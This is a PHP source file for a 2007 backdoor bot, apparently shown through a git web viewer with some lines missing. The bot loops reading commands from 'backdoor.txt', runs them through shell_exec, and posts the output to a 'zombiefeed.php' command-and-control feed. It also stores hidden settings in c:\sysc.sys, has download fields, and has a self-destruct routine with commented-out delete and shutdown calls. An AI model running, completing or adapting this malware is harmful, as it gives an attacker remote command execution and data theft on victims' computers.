2 //////////////////////////////////////////////////////////////////
3 //©opylefted by <-Harvie 2oo7
4 ////////////////////////SETTINGS//////////////////////////////////
6 $file = "backdoor.txt"; //Interface to comunicate with BackD00R
7 $lastf = "c:\\sysc.sys"; //Place to save last settings
8 $feed = "http://localhost:8080/PHP/zombiefeed.php?feed=";
10 //Init (will be used, if no settings was saved):
13 //////////////////////////////////////////////////////////////////
15 function post($host, $path, $data) {
17 $content_length = strlen($data);
18 $fp = fsockopen($host, 8080);
19 fputs($fp, "POST $path HTTP/1.1\r\n");
20 fputs($fp, "Host: $host\r\n");
21 fputs($fp, "Content-Type: application/x-www-form-urlencoded\r\n");
22 fputs($fp, "Content-Length: $content_length\r\n");
23 fputs($fp, "Connection: close\r\n\r\n");
25 while (!feof($fp)) $http_response .= fgets($fp, 28);
28 return $http_response;
31 $postdata = "?feed=bar";
32 foreach($_POST as $key => $val) $postdata .= '&'.$key.'='.$val;
34 $http_response = post('localhost', '/PHP/zombiefeed.php', $postdata);
36 /////////////////////////////////////////////////////
38 function shellf($command) {
39 $shellout = shell_exec($command);
40 post($feedhost, $feedpath, $shellout);
41 echo ($shellout); //Debug
44 function autodestruct() {
45 echo("KILLED BY MY MASTER !!!\n\n");
46 //System("del this1234567889.exe");
47 //System("shutdown -s");
50 //////////////////////////////////////////////////////////////////
53 //readfile("http://harvie.stokoruna.cz/");
57 if ( $fp = fopen($lastf, "r") ) { //Check if settings file exists
59 fclose($fp); //Close settings file
60 //Parse saved settings:
61 $temp = explode( " ", trim($temp) );
68 echo("last: $last\n"); //Debug
69 echo("interval: $interval\n"); //Debug
72 while(1) { //Listen on interface
73 $in = file($file); //Read commands from interface
74 if( $last < trim($in[0]) ) { //Command number check
76 //Parse commands from interface to variables:
78 $interval = trim($in[1]);
79 $command = trim($in[2]);
80 $download = trim($in[3]);
81 $downloadto = trim($in[4]);
84 $fp = fopen($lastf, "w+");
85 fwrite($fp, ("$last $interval") );
88 ///////WORK WITH RECIEVED COMMANDS////////////////////////////////
90 if ($command == "_autodestruct")
93 echo("last: $last\n");
94 echo("interval: $interval\n");
95 echo("command: $command\n");
96 echo("Download what: $download\n");
97 echo("Download where: $downloadto\n");
99 echo("-------------------------------------------------------------------------\n");
101 ///////REPLY TO SERVER////////////////////////////////////////////
105 //////////////////////////////////////////////////////////////////
108 sleep($interval); //Pause
This page took 0.614424 seconds and 4 git commands to generate.